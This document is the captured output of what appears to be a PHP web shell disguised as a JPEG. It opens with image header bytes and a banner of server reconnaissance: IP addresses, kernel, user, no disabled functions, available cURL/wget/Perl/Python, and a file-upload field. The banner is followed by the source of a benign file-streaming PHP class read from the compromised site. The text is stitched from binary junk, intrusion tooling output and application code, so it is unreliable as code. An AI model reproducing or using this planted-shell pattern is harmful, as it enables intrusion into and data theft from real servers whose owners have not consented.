����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/common/Files/Response/ |
Upload File : |
<?php
namespace Common\Files\Response;
use Common\Files\FileEntry;
use Illuminate\Contracts\Filesystem\FileNotFoundException;
use Illuminate\Support\Str;
use Symfony\Component\HttpFoundation\StreamedResponse;
class StreamedFileResponse implements FileResponse
{
/**
* @param FileEntry $entry
* @param array $options
* @return mixed
*/
public function make(FileEntry $entry, $options)
{
$path = $entry->getStoragePath($options['useThumbnail']);
$response = new StreamedResponse;
$disposition = $response->headers->makeDisposition(
$options['disposition'], $entry->getNameWithExtension(), str_replace('%', '', Str::ascii($entry->getNameWithExtension()))
);
$fileSize = $options['useThumbnail'] ? $entry->getDisk()->size($path) : $entry->file_size;
$response->headers->replace([
'Content-Type' => $entry->mime,
'Content-Length' => $fileSize,
'Content-Disposition' => $disposition,
]);
$response->setCallback(function () use ($entry, $path) {
try {
$stream = $entry->getDisk()->readStream($path);
} catch (FileNotFoundException $e) {
abort(404);
}
while ( ! feof($stream)) {
echo fread($stream, 2048);
}
fclose($stream);
});
return $response;
}
}